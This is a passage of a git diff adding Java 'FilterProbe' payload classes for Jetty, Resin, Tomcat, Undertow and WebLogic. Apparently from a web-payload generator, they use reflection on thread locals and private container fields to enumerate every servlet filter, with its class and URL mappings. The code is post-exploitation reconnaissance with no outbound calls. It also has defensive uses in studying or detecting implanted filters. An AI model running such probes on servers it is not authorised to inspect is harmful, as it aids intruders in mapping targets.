throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java new file mode 100644 index 00000000..5e6b0818 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java @@ -0,0 +1,253 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class JettyFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + /** + * jetty6 -> org.mortbay.jetty.webapp.WebAppContext + * jetty7+ -> org.eclipse.jetty.webapp.WebAppContext + * org.eclipse.jetty.ee8.webapp.WebAppContext + * org.eclipse.jetty.ee9.webapp.WebAppContext + * org.eclipse.jetty.ee10.webapp.WebAppContext + * org.eclipse.jetty.ee11.webapp.WebAppContext + */ + @SuppressWarnings("unchecked") + private List> collectFiltersData(Object context) throws Exception { + Map> aggregatedData = new LinkedHashMap<>(); + + // servletHandler -> org.mortbay.jetty.servlet.ServletHandler(jetty 6) + // servletHandler -> org.eclipse.jetty.servlet.ServletHandler(jetty 7+) + Object servletHandler = getFieldValue(context, "_servletHandler"); + + Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); + if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList(); + + Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters"); + + for (Object mapping : filterMappings) { + // mapping -> org.mortbay.jetty.servlet.FilterMapping(jetty 6) + // mapping -> org.eclipse.jetty.servlet.FilterMapping(jetty 7+) + String name = (String) invokeMethod(mapping, "getFilterName"); + if (!aggregatedData.containsKey(name)) { + String filterClass = "N/A"; + if (filterHolders != null) { + for (Object holder : filterHolders) { + // hodler -> org.mortbay.jetty.servlet.FilterHolder(jetty 6) + // hodler -> org.eclipse.jetty.servlet.FilterHolder(jetty 7+) + String holderName = (String) invokeMethod(holder, "getName"); + if (!name.equals(holderName)) continue; + String cls = (String) invokeMethod(holder, "getClassName"); + if (cls == null) { + Object filterInstance = invokeMethod(holder, "getFilter"); + if (filterInstance != null) { + cls = filterInstance.getClass().getName(); + } + } + if (cls != null) filterClass = cls; + break; + } + } + Map info = new HashMap<>(); + info.put("filterName", name); + info.put("filterClass", filterClass); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(name, info); + } + + Map info = aggregatedData.get(name); + + String[] pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs"); + if (pathSpecs != null) ((Set) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs)); + + String[] servletNames = (String[]) invokeMethod(mapping, "getServletNames"); + if (servletNames != null) ((Set) info.get("servletNames")).addAll(Arrays.asList(servletNames)); + } + + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + // jetty 6 + Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); + if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { + contexts.add(getFieldValue(contextClassLoader, "_context")); + } else { + // jetty 7+ + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry != null) { + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("WebAppContext")) { + contexts.add(getFieldValue(threadLocalValue, "this$0")); + } + } + } + } + } + } catch (Exception ignored) { + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + Class[] paramClazz = null; + Object[] param = null; + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ResinFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ResinFilterProbe.java new file mode 100644 index 00000000..f03190a2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ResinFilterProbe.java @@ -0,0 +1,234 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class ResinFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + @SuppressWarnings("unchecked") + private List> collectFiltersData(Object context) throws Exception { + // context -> com.caucho.server.webapp.Application + Map> aggregatedData = new LinkedHashMap<>(); + // filterMapper -> com.caucho.server.dispatch.FilterMapper + Object filterMapper = getFieldValue(context, "_filterMapper"); + // filterManager -> com.caucho.server.dispatch.FilterManager + Object filterManager = getFieldValue(context, "_filterManager"); + if (filterMapper == null) return Collections.emptyList(); + ArrayList filterMappings = (ArrayList) getFieldValue(filterMapper, "_filterMap"); + for (Object filterMapping : filterMappings) { + // filterMapping -> com.caucho.server.dispatch.FilterMapping + String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null); + if (!aggregatedData.containsKey(filterName)) { + Map info = new HashMap<>(); + info.put("filterName", filterName); + String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null); + if (filterClassName == null) { + Class filterClass = (Class) invokeMethod(filterMapping, "getFilterClass", null, null); + if (filterClass != null) { + filterClassName = filterClass.getName(); + } else { + Object filter = ((Map) getFieldValue(filterManager, "_instances")).get(filterName); + if (filter != null) { + filterClassName = filter.getClass().getName(); + } + } + } + info.put("filterClass", filterClassName != null ? filterClassName : "N/A"); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(filterName, info); + } + Map info = aggregatedData.get(filterName); + List urlPatterns = new ArrayList<>(); + String urlPattern = (String) invokeMethod(filterMapping, "getURLPattern", null, null); + if (urlPattern == null || urlPattern.isEmpty()) { + List matchList = (List) getFieldValue(filterMapping, "_matchList"); + if (matchList != null && !matchList.isEmpty()) { + for (Object match : matchList) { + if (((Integer) getFieldValue(match, "_value")) == 1) { + urlPatterns.add(getFieldValue(match, "_regex").toString()); + } + } + } + } else { + urlPatterns.add(urlPattern); + } + if (!urlPatterns.isEmpty()) { + ((Set) info.get("urlPatterns")).addAll(urlPatterns); + } + List servletNames = (List) getFieldValue(filterMapping, "_servletNames"); + if (servletNames != null && !servletNames.isEmpty()) { + ((Set) info.get("servletNames")).addAll(servletNames); + } + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * com.caucho.server.webapp.Application + * /usr/local/resin3/lib/resin.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader() + .loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + contexts.add(webApp); + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java new file mode 100644 index 00000000..2f5750b6 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java @@ -0,0 +1,250 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class TomcatFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + @SuppressWarnings("unchecked") + private List> collectFiltersData(Object context) throws Exception { + // context -> org.apache.catalina.core.StandardContext + Map> aggregatedData = new LinkedHashMap<>(); + Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps"); + if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList(); + for (Object fm : filterMaps) { + // fm -> org.apache.tomcat.util.descriptor.web.FilterMap/org.apache.catalina.deploy.FilterMap + String name = (String) invokeMethod(fm, "getFilterName"); + if (!aggregatedData.containsKey(name)) { + // filterDef -> org.apache.tomcat.util.descriptor.web.FilterDef/org.apache.catalina.deploy.FilterDef + Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name}); + String filterClass = (String) invokeMethod(filterDef, "getFilterClass"); + if (filterClass == null) { + // filterConfig -> org.apache.catalina.core.ApplicationFilterConfig + Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name}); + Object filter = invokeMethod(filterConfig, "getFilter"); + if (filter != null) filterClass = filter.getClass().getName(); + } + Map info = new HashMap<>(); + info.put("filterName", name); + info.put("filterClass", filterClass); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(name, info); + } + Map info = aggregatedData.get(name); + String[] urls = null; + try { + urls = (String[]) invokeMethod(fm, "getURLPatterns"); + } catch (Exception e) { + // Tomcat 5 org.apache.catalina.deploy.FilterMap + String urlPattern = (String) invokeMethod(fm, "getURLPattern"); + if (urlPattern != null) { + urls = new String[]{urlPattern}; + } + } + if (urls != null) ((Set) info.get("urlPatterns")).addAll(Arrays.asList(urls)); + String[] servletNames = null; + try { + servletNames = (String[]) invokeMethod(fm, "getServletNames"); + } catch (Exception e) { + // Tomcat 5 org.apache.catalina.deploy.FilterMap + String servletName = (String) invokeMethod(fm, "getServletName"); + if (servletName != null) { + servletNames = new String[]{servletName}; + } + } + if (servletNames != null) ((Set) info.get("servletNames")).addAll(Arrays.asList(servletNames)); + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * org.apache.catalina.core.StandardContext + * /usr/local/tomcat/server/lib/catalina.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } + } + } + return contexts; + } + + public static Object invokeMethod(Object obj, String methodName) throws Exception { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java new file mode 100644 index 00000000..c0033ba0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java @@ -0,0 +1,212 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class UndertowFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + @SuppressWarnings("unchecked") + private List> collectFiltersData(Object context) throws Exception { + // context -> io.undertow.servlet.spec.ServletContextImpl + Map> aggregatedData = new LinkedHashMap<>(); + // deploymentInfo -> io.undertow.servlet.api.DeploymentInfo + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + Map filters = (Map) getFieldValue(deploymentInfo, "filters"); + List filterUrlMappings = (List) getFieldValue(deploymentInfo, "filterUrlMappings"); + List filterServletNameMappings = (List) getFieldValue(deploymentInfo, "filterServletNameMappings"); + for (Object filterUrlMapping : filterUrlMappings) { + // filterUrlMapping -> io.undertow.servlet.api.FilterMappingInfo + Map info = fillFilterInfo(filterUrlMapping, filters, aggregatedData); + String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping"); + if (urlPattern != null) { + ((Set) info.get("urlPatterns")).add(urlPattern); + } + } + for (Object filterServletNameMapping : filterServletNameMappings) { + // filterServletNameMapping -> io.undertow.servlet.api.FilterMappingInfo + Map info = fillFilterInfo(filterServletNameMapping, filters, aggregatedData); + String servletNames = (String) getFieldValue(filterServletNameMapping, "mapping"); + if (servletNames != null) { + ((Set) info.get("servletNames")).add(servletNames); + } + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + private static Map fillFilterInfo(Object filterServletNameMapping, Map filters, Map> aggregatedData) throws NoSuchFieldException, IllegalAccessException { + String filterName = (String) getFieldValue(filterServletNameMapping, "filterName"); + if (!aggregatedData.containsKey(filterName)) { + Map info = new HashMap<>(); + info.put("filterName", filterName); + Class filterClass = (Class) getFieldValue(filters.get(filterName), "filterClass"); + info.put("filterClass", filterClass.getName()); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(filterName, info); + } + return aggregatedData.get(filterName); + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + @SuppressWarnings("Duplicates") + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + Class clazz = thread.getContextClassLoader() + .loadClass("io.undertow.servlet.handlers.ServletRequestContext"); + Object requestContext = invokeMethod(clazz, "current", null, null); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebLogicFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebLogicFilterProbe.java new file mode 100644 index 00000000..c73a2fcb --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebLogicFilterProbe.java @@ -0,0 +1,254 @@ +package com.reajason.javaweb.probe.payload.filter; + +import javax.management.MBeanServer; +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class WebLogicFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + 